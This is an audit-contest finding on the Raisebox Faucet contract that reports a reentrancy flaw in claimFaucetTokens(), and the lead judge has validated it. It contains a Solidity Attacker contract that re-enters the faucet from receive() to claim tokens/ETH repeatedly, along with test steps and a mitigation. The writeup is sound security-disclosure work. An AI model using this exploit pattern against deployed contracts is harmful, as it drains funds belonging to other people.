Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy found in the `SEP_ETH DRIP` (Checks-Effects-Interactions violation + missing nonReentrant → Token/ETH drain & cooldown bypass)

[S-1] claimFaucetTokens() Reentrancy found in the SEP_ETH DRIP (Checks-Effects-Interactions violation + missing nonReentrant → Token/ETH drain & cooldown bypass)

Description: External faucetClaimer.call{value: ...}("") is executed while important state (e.g., lastClaimTime, dailyClaimCount, dailyDrips, hasClaimedEth) is not guaranteed to be finalized. No ReentrancyGuard is used.

// @> // @audit - External call occurs before all state is finalized (CEI violated)
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");

Impact: High — a malicious contract can re-enter claimFaucetTokens() during the ETH call to bypass cooldowns and claim tokens/ETH multiple times, draining funds.

Proof of Concept:

contract Attacker {
IRaiseBoxFaucet public target;
address public owner;
uint256 public reentryCount = 0;
uint256 public maxReentries = 3; // limit reentrancy so test finishes
constructor(address _target) {
target = IRaiseBoxFaucet(_target);
owner = msg.sender;
}
// Kick off attack
function attack() external payable {
require(msg.sender == owner, "only owner");
// Optionally fund this contract so it appears eligible for ETH drip
// call target to initiate drip which will call back into receive()
target.claimFaucetTokens();
}
receive() external payable {
// reenter only a few times to simulate exploit
if (reentryCount < maxReentries) {
reentryCount++;
// reenter target -> vulnerable if target hasn't updated state
target.claimFaucetTokens();
}
}
// helper to withdraw any funds after test
function withdrawETH() external {
payable(owner).transfer(address(this).balance);
}
}

Test steps (Hardhat/ethers):
Deploy target and fund with tokens + ETH.
Deploy Attacker.
From attacker, call attack().
Observe multiple successful claims and drained tokens/ETH.

Recommended Mitigation: Reorder: Checks → Effects → Interactions; update all state (lastClaimTime, dailyClaimCount, hasClaimedEth, dailyDrips) before any external call.
Add nonReentrant (OpenZeppelin ReentrancyGuard) to claimFaucetTokens().

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!